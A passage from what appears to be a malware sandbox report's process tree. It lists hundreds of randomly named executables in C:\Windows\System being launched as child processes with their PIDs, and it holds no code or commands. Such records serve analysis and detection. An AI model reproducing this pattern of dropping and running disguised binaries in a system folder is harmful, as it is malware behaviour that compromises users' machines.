  PID:6240
- C:\Windows\System\LiFLLCJ.exe
  C:\Windows\System\LiFLLCJ.exe
  2⤵
  PID:6256
- C:\Windows\System\xwEwYvz.exe
  C:\Windows\System\xwEwYvz.exe
  2⤵
  PID:6272
- C:\Windows\System\dqGdyAA.exe
  C:\Windows\System\dqGdyAA.exe
  2⤵
  PID:6288
- C:\Windows\System\CTxlWJw.exe
  C:\Windows\System\CTxlWJw.exe
  2⤵
  PID:6304
- C:\Windows\System\TQeWMWm.exe
  C:\Windows\System\TQeWMWm.exe
  2⤵
  PID:6320
- C:\Windows\System\fFifncM.exe
  C:\Windows\System\fFifncM.exe
  2⤵
  PID:6336
- C:\Windows\System\CAPnqyA.exe
  C:\Windows\System\CAPnqyA.exe
  2⤵
  PID:6352
- C:\Windows\System\IInImyy.exe
  C:\Windows\System\IInImyy.exe
  2⤵
  PID:6368
- C:\Windows\System\nyGfbcb.exe
  C:\Windows\System\nyGfbcb.exe
  2⤵
  PID:6384
- C:\Windows\System\cZHVEHu.exe
  C:\Windows\System\cZHVEHu.exe
  2⤵
  PID:6400
- C:\Windows\System\rkdJHzw.exe
  C:\Windows\System\rkdJHzw.exe
  2⤵
  PID:6416
- C:\Windows\System\RgAzuHn.exe
  C:\Windows\System\RgAzuHn.exe
  2⤵
  PID:6432
- C:\Windows\System\CfQpRbH.exe
  C:\Windows\System\CfQpRbH.exe
  2⤵
  PID:6448
- C:\Windows\System\GSXhySw.exe
  C:\Windows\System\GSXhySw.exe
  2⤵
  PID:6464
- C:\Windows\System\tzcChot.exe
  C:\Windows\System\tzcChot.exe
  2⤵
  PID:6480
- C:\Windows\System\FSAzlPj.exe
  C:\Windows\System\FSAzlPj.exe
  2⤵
  PID:6496
- C:\Windows\System\kAaeAIA.exe
  C:\Windows\System\kAaeAIA.exe
  2⤵
  PID:6512
- C:\Windows\System\pCEnckl.exe
  C:\Windows\System\pCEnckl.exe
  2⤵
  PID:6528
- C:\Windows\System\LhUZvOj.exe
  C:\Windows\System\LhUZvOj.exe
  2⤵
  PID:6544
- C:\Windows\System\YNgRyDC.exe
  C:\Windows\System\YNgRyDC.exe
  2⤵
  PID:6560
- C:\Windows\System\NZPCsWW.exe
  C:\Windows\System\NZPCsWW.exe
  2⤵
  PID:6576
- C:\Windows\System\qWlxsQK.exe
  C:\Windows\System\qWlxsQK.exe
  2⤵
  PID:6592
- C:\Windows\System\rrfZkGX.exe
  C:\Windows\System\rrfZkGX.exe
  2⤵
  PID:6608
- C:\Windows\System\loQSyHP.exe
  C:\Windows\System\loQSyHP.exe
  2⤵
  PID:6624
- C:\Windows\System\ZaIvlmK.exe
  C:\Windows\System\ZaIvlmK.exe
  2⤵
  PID:6640
- C:\Windows\System\RIDBNAQ.exe
  C:\Windows\System\RIDBNAQ.exe
  2⤵
  PID:6656
- C:\Windows\System\LdcdZZX.exe
  C:\Windows\System\LdcdZZX.exe
  2⤵
  PID:6672
- C:\Windows\System\vLQABYn.exe
  C:\Windows\System\vLQABYn.exe
  2⤵
  PID:6688
- C:\Windows\System\CZGxhFT.exe
  C:\Windows\System\CZGxhFT.exe
  2⤵
  PID:6704
- C:\Windows\System\couHmvS.exe
  C:\Windows\System\couHmvS.exe
  2⤵
  PID:6720
- C:\Windows\System\vrrosOG.exe
  C:\Windows\System\vrrosOG.exe
  2⤵
  PID:6736
- C:\Windows\System\imOKUGy.exe
  C:\Windows\System\imOKUGy.exe
  2⤵
  PID:6752
- C:\Windows\System\uTrxgmM.exe
  C:\Windows\System\uTrxgmM.exe
  2⤵
  PID:6768
- C:\Windows\System\jYNEmOS.exe
  C:\Windows\System\jYNEmOS.exe
  2⤵
  PID:6784
- C:\Windows\System\UAnsBMm.exe
  C:\Windows\System\UAnsBMm.exe
  2⤵
  PID:6800
- C:\Windows\System\obNhiDe.exe
  C:\Windows\System\obNhiDe.exe
  2⤵
  PID:6816
- C:\Windows\System\FvZxyze.exe
  C:\Windows\System\FvZxyze.exe
  2⤵
  PID:6832
- C:\Windows\System\cFTnjzQ.exe
  C:\Windows\System\cFTnjzQ.exe
  2⤵
  PID:6848
- C:\Windows\System\oFWyZbF.exe
  C:\Windows\System\oFWyZbF.exe
  2⤵
  PID:6864
- C:\Windows\System\ApGCFXn.exe
  C:\Windows\System\ApGCFXn.exe
  2⤵
  PID:6880
- C:\Windows\System\VBpRXlV.exe
  C:\Windows\System\VBpRXlV.exe
  2⤵
  PID:6896
- C:\Windows\System\iGLBssX.exe
  C:\Windows\System\iGLBssX.exe
  2⤵
  PID:6912
- C:\Windows\System\TUcXINY.exe
  C:\Windows\System\TUcXINY.exe
  2⤵
  PID:6928
- C:\Windows\System\TQNvvjn.exe
  C:\Windows\System\TQNvvjn.exe
  2⤵
  PID:6944
- C:\Windows\System\SHdleZh.exe
  C:\Windows\System\SHdleZh.exe
  2⤵
  PID:6960
- C:\Windows\System\fmZHSXf.exe
  C:\Windows\System\fmZHSXf.exe
  2⤵
  PID:6976
- C:\Windows\System\yilBYeZ.exe
  C:\Windows\System\yilBYeZ.exe
  2⤵
  PID:6992
- C:\Windows\System\zWftwrq.exe
  C:\Windows\System\zWftwrq.exe
  2⤵
  PID:7008
- C:\Windows\System\YTiDbem.exe
  C:\Windows\System\YTiDbem.exe
  2⤵
  PID:7024
- C:\Windows\System\kxPiVNB.exe
  C:\Windows\System\kxPiVNB.exe
  2⤵
  PID:7040
- C:\Windows\System\lWkPGyQ.exe
  C:\Windows\System\lWkPGyQ.exe
  2⤵
  PID:7056
- C:\Windows\System\wvwxRgn.exe
  C:\Windows\System\wvwxRgn.exe
  2⤵
  PID:7072
- C:\Windows\System\JgvYoXA.exe
  C:\Windows\System\JgvYoXA.exe
  2⤵
  PID:7088
- C:\Windows\System\gQQEfRN.exe
  C:\Windows\System\gQQEfRN.exe
  2⤵
  PID:7104
- C:\Windows\System\awyWusH.exe
  C:\Windows\System\awyWusH.exe
  2⤵
  PID:7120
- C:\Windows\System\zzuBtmC.exe
  C:\Windows\System\zzuBtmC.exe
  2⤵
  PID:7136
- C:\Windows\System\TvAluBR.exe
  C:\Windows\System\TvAluBR.exe
  2⤵
  PID:7152
- C:\Windows\System\nvXzHnh.exe
  C:\Windows\System\nvXzHnh.exe
  2⤵
  PID:5728
- C:\Windows\System\rvLZIGy.exe
  C:\Windows\System\rvLZIGy.exe
  2⤵
  PID:5840
- C:\Windows\System\wdqwGan.exe
  C:\Windows\System\wdqwGan.exe
  2⤵
  PID:2204
- C:\Windows\System\XKpbxpK.exe
  C:\Windows\System\XKpbxpK.exe
  2⤵
  PID:5392
- C:\Windows\System\dkTSQED.exe
  C:\Windows\System\dkTSQED.exe
  2⤵
  PID:2976
- C:\Windows\System\tIDmhaM.exe
  C:\Windows\System\tIDmhaM.exe
  2⤵
  PID:6156
- C:\Windows\System\KiFHjVa.exe
  C:\Windows\System\KiFHjVa.exe
  2⤵
  PID:6168
- C:\Windows\System\nwoDhkt.exe
  C:\Windows\System\nwoDhkt.exe
  2⤵
  PID:1792
- C:\Windows\System\VmvBHTl.exe
  C:\Windows\System\VmvBHTl.exe
  2⤵
  PID:6216
- C:\Windows\System\hHlnXdY.exe
  C:\Windows\System\hHlnXdY.exe
  2⤵
  PID:6232
- C:\Windows\System\tDoKvZi.exe
  C:\Windows\System\tDoKvZi.exe
  2⤵
  PID:2160
- C:\Windows\System\fGIzlNF.exe
  C:\Windows\System\fGIzlNF.exe
  2⤵
  PID:6284
- C:\Windows\System\sGPGpnm.exe
  C:\Windows\System\sGPGpnm.exe
  2⤵
  PID:6316
- C:\Windows\System\rCkEIJe.exe
  C:\Windows\System\rCkEIJe.exe
  2⤵
  PID:2208
- C:\Windows\System\YqhDyfK.exe
  C:\Windows\System\YqhDyfK.exe
  2⤵
  PID:6364
- C:\Windows\System\rmMkafx.exe
  C:\Windows\System\rmMkafx.exe
  2⤵
  PID:6392
- C:\Windows\System\lFxaZqe.exe
  C:\Windows\System\lFxaZqe.exe
  2⤵
  PID:6424
- C:\Windows\System\LguUIIe.exe
  C:\Windows\System\LguUIIe.exe
  2⤵
  PID:6444
- C:\Windows\System\nPvagjf.exe
  C:\Windows\System\nPvagjf.exe
  2⤵
  PID:6472
- C:\Windows\System\CXLliFT.exe
  C:\Windows\System\CXLliFT.exe
  2⤵
  PID:1428
- C:\Windows\System\bPfNwuI.exe
  C:\Windows\System\bPfNwuI.exe
  2⤵
  PID:6504
- C:\Windows\System\MIGeGPh.exe
  C:\Windows\System\MIGeGPh.exe
  2⤵
  PID:6524
- C:\Windows\System\rJzIVNy.exe
  C:\Windows\System\rJzIVNy.exe
  2⤵
  PID:6556
- C:\Windows\System\QQgmsAO.exe
  C:\Windows\System\QQgmsAO.exe
  2⤵
  PID:6572
- C:\Windows\System\qGJevbo.exe
  C:\Windows\System\qGJevbo.exe
  2⤵
  PID:680
- C:\Windows\System\SpPfywC.exe
  C:\Windows\System\SpPfywC.exe
  2⤵
  PID:6616
- C:\Windows\System\pkpEQIs.exe
  C:\Windows\System\pkpEQIs.exe
  2⤵
  PID:2396
- C:\Windows\System\OxaDBmi.exe
  C:\Windows\System\OxaDBmi.exe
  2⤵
  PID:6652
- C:\Windows\System\LkVVIdD.exe
  C:\Windows\System\LkVVIdD.exe
  2⤵
  PID:1664
- C:\Windows\System\VetrlVh.exe
  C:\Windows\System\VetrlVh.exe
  2⤵
  PID:6696
- C:\Windows\System\foJdrmc.exe
  C:\Windows\System\foJdrmc.exe
  2⤵
  PID:6716
- C:\Windows\System\ZcmhXdg.exe
  C:\Windows\System\ZcmhXdg.exe
  2⤵
  PID:3260
- C:\Windows\System\pOcsACt.exe
  C:\Windows\System\pOcsACt.exe
  2⤵
  PID:5024
- C:\Windows\System\pbBWIGq.exe
  C:\Windows\System\pbBWIGq.exe
  2⤵
  PID:4600
- C:\Windows\System\lxrlGmi.exe
  C:\Windows\System\lxrlGmi.exe
  2⤵
  PID:968
- C:\Windows\System\THPcbxk.exe
  C:\Windows\System\THPcbxk.exe
  2⤵
  PID:6796
- C:\Windows\System\cTGcDpp.exe
  C:\Windows\System\cTGcDpp.exe
  2⤵
  PID:6812
- C:\Windows\System\JpZQvrk.exe
  C:\Windows\System\JpZQvrk.exe
  2⤵
  PID:6840
- C:\Windows\System\qyWwkeV.exe
  C:\Windows\System\qyWwkeV.exe
  2⤵
  PID:6872
- C:\Windows\System\PJfsjSC.exe
  C:\Windows\System\PJfsjSC.exe
  2⤵
  PID:6904
- C:\Windows\System\ZQiiYeH.exe
  C:\Windows\System\ZQiiYeH.exe
  2⤵
  PID:6936
- C:\Windows\System\uPErMAV.exe
  C:\Windows\System\uPErMAV.exe
  2⤵
  PID:6968
- C:\Windows\System\IYmJWhy.exe
  C:\Windows\System\IYmJWhy.exe
  2⤵
  PID:6988
- C:\Windows\System\RJzQAjj.exe
  C:\Windows\System\RJzQAjj.exe
  2⤵
  PID:7020
- C:\Windows\System\bfyFQQR.exe
  C:\Windows\System\bfyFQQR.exe
  2⤵
  PID:7052
- C:\Windows\System\pZvUXrc.exe
  C:\Windows\System\pZvUXrc.exe
  2⤵
  PID:7084
- C:\Windows\System\qdnFkPi.exe
  C:\Windows\System\qdnFkPi.exe
  2⤵
  PID:7116
- C:\Windows\System\EEbrOoE.exe
  C:\Windows\System\EEbrOoE.exe
  2⤵
  PID:7132
- C:\Windows\System\jVlUijl.exe
  C:\Windows\System\jVlUijl.exe
  2⤵
  PID:7164
- C:\Windows\System\SDFdDXH.exe
  C:\Windows\System\SDFdDXH.exe
  2⤵
  PID:2924
- C:\Windows\System\IiCoBPk.exe
  C:\Windows\System\IiCoBPk.exe
  2⤵
  PID:2824
- C:\Windows\System\PlbeuNt.exe
  C:\Windows\System\PlbeuNt.exe
  2⤵
  PID:6068
- C:\Windows\System\auITQPA.exe
  C:\Windows\System\auITQPA.exe
  2⤵
  PID:5300
- C:\Windows\System\SgBlXbf.exe
  C:\Windows\System\SgBlXbf.exe
  2⤵
  PID:6152
- C:\Windows\System\OFmNJOL.exe
  C:\Windows\System\OFmNJOL.exe
  2⤵
  PID:6188
- C:\Windows\System\BviHMgi.exe
  C:\Windows\System\BviHMgi.exe
  2⤵
  PID:4660
- C:\Windows\System\YCLtnLX.exe
  C:\Windows\System\YCLtnLX.exe
  2⤵
  PID:6280
- C:\Windows\System\uchpcbi.exe
  C:\Windows\System\uchpcbi.exe
  2⤵
  PID:6332
- C:\Windows\System\SUDodaY.exe
  C:\Windows\System\SUDodaY.exe
  2⤵
  PID:3472
- C:\Windows\System\KffzCEA.exe
  C:\Windows\System\KffzCEA.exe
  2⤵
  PID:6440
- C:\Windows\System\unjzpsE.exe
  C:\Windows\System\unjzpsE.exe
  2⤵
  PID:852
- C:\Windows\System\varqrXd.exe
  C:\Windows\System\varqrXd.exe
  2⤵
  PID:6520
- C:\Windows\System\HVJZowa.exe
  C:\Windows\System\HVJZowa.exe
  2⤵
  PID:6568
- C:\Windows\System\qMmszIn.exe
  C:\Windows\System\qMmszIn.exe
  2⤵
  PID:6604
- C:\Windows\System\TlJwXyI.exe
  C:\Windows\System\TlJwXyI.exe
  2⤵
  PID:1424
- C:\Windows\System\GdYBlAX.exe
  C:\Windows\System\GdYBlAX.exe
  2⤵
  PID:1072
- C:\Windows\System\SpAnHhX.exe
  C:\Windows\System\SpAnHhX.exe
  2⤵
  PID:1564
- C:\Windows\System\DalSDcj.exe
  C:\Windows\System\DalSDcj.exe
  2⤵
  PID:6764
- C:\Windows\System\hSLUNbn.exe
  C:\Windows\System\hSLUNbn.exe
  2⤵
  PID:6792
- C:\Windows\System\JnyqrBI.exe
  C:\Windows\System\JnyqrBI.exe
  2⤵
  PID:6824
- C:\Windows\System\RyWjfOT.exe
  C:\Windows\System\RyWjfOT.exe
  2⤵
  PID:6888
- C:\Windows\System\ZYlJLNl.exe
  C:\Windows\System\ZYlJLNl.exe
  2⤵
  PID:6952
- C:\Windows\System\VXnndGN.exe
  C:\Windows\System\VXnndGN.exe
  2⤵
  PID:7004
- C:\Windows\System\kLxDlVX.exe
  C:\Windows\System\kLxDlVX.exe
  2⤵
  PID:7068
- C:\Windows\System\mxGFNSl.exe
  C:\Windows\System\mxGFNSl.exe
  2⤵
  PID:7128
- C:\Windows\System\zQvVZuo.exe
  C:\Windows\System\zQvVZuo.exe
  2⤵
  PID:4404
- C:\Windows\System\IEbwrmh.exe
  C:\Windows\System\IEbwrmh.exe
  2⤵
  PID:4820
- C:\Windows\System\XMzruMF.exe
  C:\Windows\System\XMzruMF.exe
  2⤵
  PID:5540
- C:\Windows\System\oPJWgmB.exe
  C:\Windows\System\oPJWgmB.exe
  2⤵
  PID:6252
- C:\Windows\System\QDprUiV.exe
  C:\Windows\System\QDprUiV.exe
  2⤵
  PID:6360
- C:\Windows\System\qUvfcKR.exe
  C:\Windows\System\qUvfcKR.exe
  2⤵
  PID:6460
- C:\Windows\System\KfRIcWW.exe
  C:\Windows\System\KfRIcWW.exe
  2⤵
  PID:6552
- C:\Windows\System\TccUaiN.exe
  C:\Windows\System\TccUaiN.exe
  2⤵
  PID:6632
- C:\Windows\System\tEPTuMb.exe
  C:\Windows\System\tEPTuMb.exe
  2⤵
  PID:6712
- C:\Windows\System\xapKCRK.exe
  C:\Windows\System\xapKCRK.exe
  2⤵
  PID:6780
- C:\Windows\System\JmctjaF.exe
  C:\Windows\System\JmctjaF.exe
  2⤵
  PID:5968
- C:\Windows\System\ernWGut.exe
  C:\Windows\System\ernWGut.exe
  2⤵
  PID:6924
- C:\Windows\System\WxRBgHh.exe
  C:\Windows\System\WxRBgHh.exe
  2⤵
  PID:8048
- C:\Windows\System\ddHdpjl.exe
  C:\Windows\System\ddHdpjl.exe
  2⤵
  PID:9448
- C:\Windows\System\aqjBrYn.exe
  C:\Windows\System\aqjBrYn.exe
  2⤵
  PID:9468
- C:\Windows\System\cpBqRsv.exe
  C:\Windows\System\cpBqRsv.exe
  2⤵
  PID:9492
- C:\Windows\System\ADuhPEA.exe
  C:\Windows\System\ADuhPEA.exe
  2⤵
  PID:9516
- C:\Windows\System\WYRbpOY.exe
  C:\Windows\System\WYRbpOY.exe
  2⤵
  PID:9540
- C:\Windows\System\ZYtUPSr.exe
  C:\Windows\System\ZYtUPSr.exe
  2⤵
  PID:10544
- C:\Windows\System\BLzaKAI.exe
  C:\Windows\System\BLzaKAI.exe
  2⤵
  PID:10832
- C:\Windows\System\ksoykXe.exe
  C:\Windows\System\ksoykXe.exe
  2⤵
  PID:10880
- C:\Windows\System\lQeDZiC.exe
  C:\Windows\System\lQeDZiC.exe
  2⤵
  PID:10908
- C:\Windows\System\EGGdeIE.exe
  C:\Windows\System\EGGdeIE.exe
  2⤵
  PID:10928
- C:\Windows\System\GIxVjRv.exe
  C:\Windows\System\GIxVjRv.exe
  2⤵
  PID:10944
- C:\Windows\System\xdWGvev.exe
  C:\Windows\System\xdWGvev.exe
  2⤵
  PID:7852
- C:\Windows\System\jRtfIkm.exe
  C:\Windows\System\jRtfIkm.exe
  2⤵
  PID:7524
- C:\Windows\System\OZuHffi.exe
  C:\Windows\System\OZuHffi.exe
  2⤵
  PID:7912
- C:\Windows\System\RJjGRTs.exe
  C:\Windows\System\RJjGRTs.exe
  2⤵
  PID:7952
- C:\Windows\System\mGayzVR.exe
  C:\Windows\System\mGayzVR.exe
  2⤵
  PID:8040
- C:\Windows\System\LLxpMfH.exe
  C:\Windows\System\LLxpMfH.exe
  2⤵
  PID:8076
- C:\Windows\System\ftmHRuk.exe
  C:\Windows\System\ftmHRuk.exe
  2⤵
  PID:8148
- C:\Windows\System\PWOQxvc.exe
  C:\Windows\System\PWOQxvc.exe
  2⤵
  PID:9632
- C:\Windows\System\WmTgYQv.exe
  C:\Windows\System\WmTgYQv.exe
  2⤵
  PID:8440
- C:\Windows\System\DiTWolv.exe
  C:\Windows\System\DiTWolv.exe
  2⤵
  PID:10988
- C:\Windows\System\TbqNyZo.exe
  C:\Windows\System\TbqNyZo.exe
  2⤵
  PID:11024
- C:\Windows\System\IMdFmJx.exe
  C:\Windows\System\IMdFmJx.exe
  2⤵
  PID:11140
- C:\Windows\System\JwEoong.exe
  C:\Windows\System\JwEoong.exe
  2⤵
  PID:7792
- C:\Windows\System\AogTmsh.exe
  C:\Windows\System\AogTmsh.exe
  2⤵
  PID:8392
- C:\Windows\System\yjAnoeB.exe
  C:\Windows\System\yjAnoeB.exe
  2⤵
  PID:4508
- C:\Windows\System\HqPbDmm.exe
  C:\Windows\System\HqPbDmm.exe
  2⤵
  PID:10956
- C:\Windows\System\ETiglvY.exe
  C:\Windows\System\ETiglvY.exe
  2⤵
  PID:11200
- C:\Windows\System\HwGuOSm.exe
  C:\Windows\System\HwGuOSm.exe
  2⤵
  PID:11232
- C:\Windows\System\RfTquIW.exe
  C:\Windows\System\RfTquIW.exe
  2⤵
  PID:1544
- C:\Windows\System\Agudcfw.exe
  C:\Windows\System\Agudcfw.exe
  2⤵
  PID:10400
- C:\Windows\System\YdJNGdT.exe
  C:\Windows\System\YdJNGdT.exe
  2⤵
  PID:8640
- C:\Windows\System\cvbIUjc.exe
  C:\Windows\System\cvbIUjc.exe
  2⤵
  PID:9048
- C:\Windows\System\cOgIENH.exe
  C:\Windows\System\cOgIENH.exe
  2⤵
  PID:7320
- C:\Windows\System\yqwlNoS.exe
  C:\Windows\System\yqwlNoS.exe
  2⤵
  PID:2064
- C:\Windows\System\vakXino.exe
  C:\Windows\System\vakXino.exe
  2⤵
  PID:3840
- C:\Windows\System\DbUJzrc.exe
  C:\Windows\System\DbUJzrc.exe
  2⤵
  PID:804
- C:\Windows\System\bCXgNMs.exe
  C:\Windows\System\bCXgNMs.exe
  2⤵
  PID:8960
- C:\Windows\System\rSlOWci.exe
  C:\Windows\System\rSlOWci.exe
  2⤵
  PID:9220
- C:\Windows\System\XyUPZBW.exe
  C:\Windows\System\XyUPZBW.exe
  2⤵
  PID:11044
- C:\Windows\System\zDfuVTb.exe
  C:\Windows\System\zDfuVTb.exe
  2⤵
  PID:11088
- C:\Windows\System\wwKJnrH.exe
  C:\Windows\System\wwKJnrH.exe
  2⤵
  PID:11016
- C:\Windows\System\ijubQvx.exe
  C:\Windows\System\ijubQvx.exe
  2⤵
  PID:9252
- C:\Windows\System\auSxGom.exe
  C:\Windows\System\auSxGom.exe
  2⤵
  PID:10920
- C:\Windows\System\zDOFndJ.exe
  C:\Windows\System\zDOFndJ.exe
  2⤵
  PID:11220
- C:\Windows\System\HvxwknF.exe
  C:\Windows\System\HvxwknF.exe
  2⤵
  PID:608
- C:\Windows\System\JNoHtdT.exe
  C:\Windows\System\JNoHtdT.exe
  2⤵
  PID:8132
- C:\Windows\System\uZWmNKb.exe
  C:\Windows\System\uZWmNKb.exe
  2⤵
  PID:11084
- C:\Windows\System\RsAyAdR.exe
  C:\Windows\System\RsAyAdR.exe
  2⤵
  PID:11164
- C:\Windows\System\rftvGCs.exe
  C:\Windows\System\rftvGCs.exe
  2⤵
  PID:10968
- C:\Windows\System\qksDXlx.exe
  C:\Windows\System\qksDXlx.exe
  2⤵
  PID:1108
- C:\Windows\System\odzzmsS.exe
  C:\Windows\System\odzzmsS.exe
  2⤵
  PID:2492
- C:\Windows\System\OcOMWwe.exe
  C:\Windows\System\OcOMWwe.exe
  2⤵
  PID:7428
- C:\Windows\System\pdeJVvy.exe
  C:\Windows\System\pdeJVvy.exe
  2⤵
  PID:2972
- C:\Windows\System\AMxxNyL.exe
  C:\Windows\System\AMxxNyL.exe
  2⤵
  PID:3244
- C:\Windows\System\MqWxXZZ.exe
  C:\Windows\System\MqWxXZZ.exe
  2⤵
  PID:1648
- C:\Windows\System\berVVAn.exe
  C:\Windows\System\berVVAn.exe
  2⤵
  PID:11300
- C:\Windows\System\auExmPq.exe
  C:\Windows\System\auExmPq.exe
  2⤵
  PID:11320
- C:\Windows\System\VyMoVBD.exe
  C:\Windows\System\VyMoVBD.exe
  2⤵
  PID:11352
- C:\Windows\System\FrRxAIZ.exe
  C:\Windows\System\FrRxAIZ.exe
  2⤵
  PID:11392
- C:\Windows\System\FHvHQEc.exe
  C:\Windows\System\FHvHQEc.exe
  2⤵
  PID:11428
- C:\Windows\System\hKoatoi.exe
  C:\Windows\System\hKoatoi.exe
  2⤵
  PID:11452
- C:\Windows\System\UGgBSfz.exe
  C:\Windows\System\UGgBSfz.exe
  2⤵
  PID:11480
- C:\Windows\System\aUdHHyV.exe
  C:\Windows\System\aUdHHyV.exe
  2⤵
  PID:11504
- C:\Windows\System\nwbJwWq.exe
  C:\Windows\System\nwbJwWq.exe
  2⤵
  PID:11528
- C:\Windows\System\ddMNKNo.exe
  C:\Windows\System\ddMNKNo.exe
  2⤵
  PID:11564
- C:\Windows\System\xEMajAs.exe
  C:\Windows\System\xEMajAs.exe
  2⤵
  PID:11604
- C:\Windows\System\lGLDsgV.exe
  C:\Windows\System\lGLDsgV.exe
  2⤵
  PID:11620
- C:\Windows\System\ThYgVaj.exe
  C:\Windows\System\ThYgVaj.exe
  2⤵
  PID:11648
- C:\Windows\System\EndcMcT.exe
  C:\Windows\System\EndcMcT.exe
  2⤵
  PID:11676
- C:\Windows\System\vKyCGSf.exe
  C:\Windows\System\vKyCGSf.exe
  2⤵
  PID:11696
- C:\Windows\System\gJNaywG.exe
  C:\Windows\System\gJNaywG.exe
  2⤵
  PID:11716
- C:\Windows\System\JBNgLPe.exe
  C:\Windows\System\JBNgLPe.exe
  2⤵
  PID:11760
- C:\Windows\System\HElQVkO.exe
  C:\Windows\System\HElQVkO.exe
  2⤵
  PID:11780
- C:\Windows\System\tMiDozp.exe
  C:\Windows\System\tMiDozp.exe
  2⤵
  PID:11800
- C:\Windows\System\HCBCGVb.exe
  C:\Windows\System\HCBCGVb.exe
  2⤵
  PID:11840
- C:\Windows\System\wIcJRag.exe
  C:\Windows\System\wIcJRag.exe
  2⤵
  PID:11864
- C:\Windows\System\VmGhOge.exe
  C:\Windows\System\VmGhOge.exe
  2⤵
  PID:11896
- C:\Windows\System\cFFsMfR.exe
  C:\Windows\System\cFFsMfR.exe
  2⤵
  PID:11916
- C:\Windows\System\EoUCXst.exe
  C:\Windows\System\EoUCXst.exe
  2⤵
  PID:11936
- C:\Windows\System\pucQLSv.exe
  C:\Windows\System\pucQLSv.exe
  2⤵
  PID:11964
- C:\Windows\System\duuTpGt.exe
  C:\Windows\System\duuTpGt.exe
  2⤵
  PID:11980
- C:\Windows\System\jjgtlxz.exe
  C:\Windows\System\jjgtlxz.exe
  2⤵
  PID:12000
- C:\Windows\System\qInhfEX.exe
  C:\Windows\System\qInhfEX.exe
  2⤵
  PID:12072
- C:\Windows\System\ivYGsZG.exe
  C:\Windows\System\ivYGsZG.exe
  2⤵
  PID:12096
- C:\Windows\System\NGkUUUN.exe
  C:\Windows\System\NGkUUUN.exe
  2⤵
  PID:12120
- C:\Windows\System\afcFRor.exe
  C:\Windows\System\afcFRor.exe
  2⤵
  PID:12148
- C:\Windows\System\IJXLXNd.exe
  C:\Windows\System\IJXLXNd.exe
  2⤵
  PID:12176
- C:\Windows\System\ZikwgTF.exe
  C:\Windows\System\ZikwgTF.exe
  2⤵
  PID:12208
- C:\Windows\System\mOAOzPK.exe
  C:\Windows\System\mOAOzPK.exe
  2⤵
  PID:12280
- C:\Windows\System\BjXYygR.exe
  C:\Windows\System\BjXYygR.exe
  2⤵
  PID:11276
- C:\Windows\System\egOvWvK.exe
  C:\Windows\System\egOvWvK.exe
  2⤵
  PID:11296
- C:\Windows\System\arbsUNd.exe
  C:\Windows\System\arbsUNd.exe
  2⤵
  PID:11348
- C:\Windows\System\hIefGIi.exe
  C:\Windows\System\hIefGIi.exe
  2⤵
  PID:11388
- C:\Windows\System\uqcqpOv.exe
  C:\Windows\System\uqcqpOv.exe
  2⤵
  PID:11464
- C:\Windows\System\pRfiEGB.exe
  C:\Windows\System\pRfiEGB.exe
  2⤵
  PID:11492
- C:\Windows\System\xMFcbUF.exe
  C:\Windows\System\xMFcbUF.exe
  2⤵
  PID:11576
- C:\Windows\System\ygLjWhL.exe
  C:\Windows\System\ygLjWhL.exe
  2⤵
  PID:4156
- C:\Windows\System\cdNtZuV.exe
  C:\Windows\System\cdNtZuV.exe
  2⤵
  PID:11636
- C:\Windows\System\VoWwQDn.exe
  C:\Windows\System\VoWwQDn.exe
  2⤵
  PID:11688
- C:\Windows\System\lucFaJS.exe
  C:\Windows\System\lucFaJS.exe
  2⤵
  PID:11768
- C:\Windows\System\McupyCk.exe
  C:\Windows\System\McupyCk.exe
  2⤵
  PID:11884
- C:\Windows\System\ADjzGWM.exe
  C:\Windows\System\ADjzGWM.exe
  2⤵
  PID:11932
- C:\Windows\System\fqgwDvW.exe
  C:\Windows\System\fqgwDvW.exe
  2⤵
  PID:5052
- C:\Windows\System\zYTsYtw.exe
  C:\Windows\System\zYTsYtw.exe
  2⤵
  PID:11948
- C:\Windows\System\rNpfgzF.exe
  C:\Windows\System\rNpfgzF.exe
  2⤵
  PID:12064
- C:\Windows\System\wvGPGUf.exe
  C:\Windows\System\wvGPGUf.exe
  2⤵
  PID:12204
- C:\Windows\System\qSYhLOt.exe
  C:\Windows\System\qSYhLOt.exe
  2⤵
  PID:12236
- C:\Windows\System\jYEswmP.exe
  C:\Windows\System\jYEswmP.exe
  2⤵
  PID:12276
- C:\Windows\System\jFzyNlc.exe
  C:\Windows\System\jFzyNlc.exe
  2⤵
  PID:11380
- C:\Windows\System\wYbEWRO.exe
  C:\Windows\System\wYbEWRO.exe
  2⤵
  PID:1612
- C:\Windows\System\sgZdPKl.exe
  C:\Windows\System\sgZdPKl.exe
  2⤵
  PID:11664
- C:\Windows\System\ioWaFXQ.exe
  C:\Windows\System\ioWaFXQ.exe
  2⤵
  PID:3900
- C:\Windows\System\zvznwMd.exe
  C:\Windows\System\zvznwMd.exe
  2⤵
  PID:11828
- C:\Windows\System\HpQPVBC.exe
  C:\Windows\System\HpQPVBC.exe
  2⤵
  PID:12032
- C:\Windows\System\IaIGuga.exe
  C:\Windows\System\IaIGuga.exe
  2⤵
  PID:12128
- C:\Windows\System\aSgboig.exe
  C:\Windows\System\aSgboig.exe
  2⤵
  PID:12156
- C:\Windows\System\JnACopc.exe
  C:\Windows\System\JnACopc.exe
  2⤵
  PID:12260
- C:\Windows\System\QFrefMQ.exe
  C:\Windows\System\QFrefMQ.exe
  2⤵
  PID:12420
- C:\Windows\System\iSFeJbf.exe
  C:\Windows\System\iSFeJbf.exe
  2⤵
  PID:12448
- C:\Windows\System\AkcEccY.exe
  C:\Windows\System\AkcEccY.exe
  2⤵
  PID:12484
- C:\Windows\System\qVoDjFk.exe
  C:\Windows\System\qVoDjFk.exe
  2⤵
  PID:12536
- C:\Windows\System\uWgHDwP.exe
  C:\Windows\System\uWgHDwP.exe
  2⤵
  PID:12560
- C:\Windows\System\pDHwQfS.exe
  C:\Windows\System\pDHwQfS.exe
  2⤵
  PID:12580
- C:\Windows\System\PJEeObw.exe
  C:\Windows\System\PJEeObw.exe
  2⤵
  PID:12600
- C:\Windows\System\CYkJOit.exe
  C:\Windows\System\CYkJOit.exe
  2⤵
  PID:12624
- C:\Windows\System\TficUTg.exe
  C:\Windows\System\TficUTg.exe
  2⤵
  PID:12644
- C:\Windows\System\wQxbzEm.exe
  C:\Windows\System\wQxbzEm.exe
  2⤵
  PID:12664
- C:\Windows\System\pqfemVp.exe
  C:\Windows\System\pqfemVp.exe
  2⤵
  PID:12704
- C:\Windows\System\hlKwDsk.exe
  C:\Windows\System\hlKwDsk.exe
  2⤵
  PID:12740
- C:\Windows\System\gxmBBza.exe
  C:\Windows\System\gxmBBza.exe
  2⤵
  PID:12768
- C:\Windows\System\fYCmTxC.exe
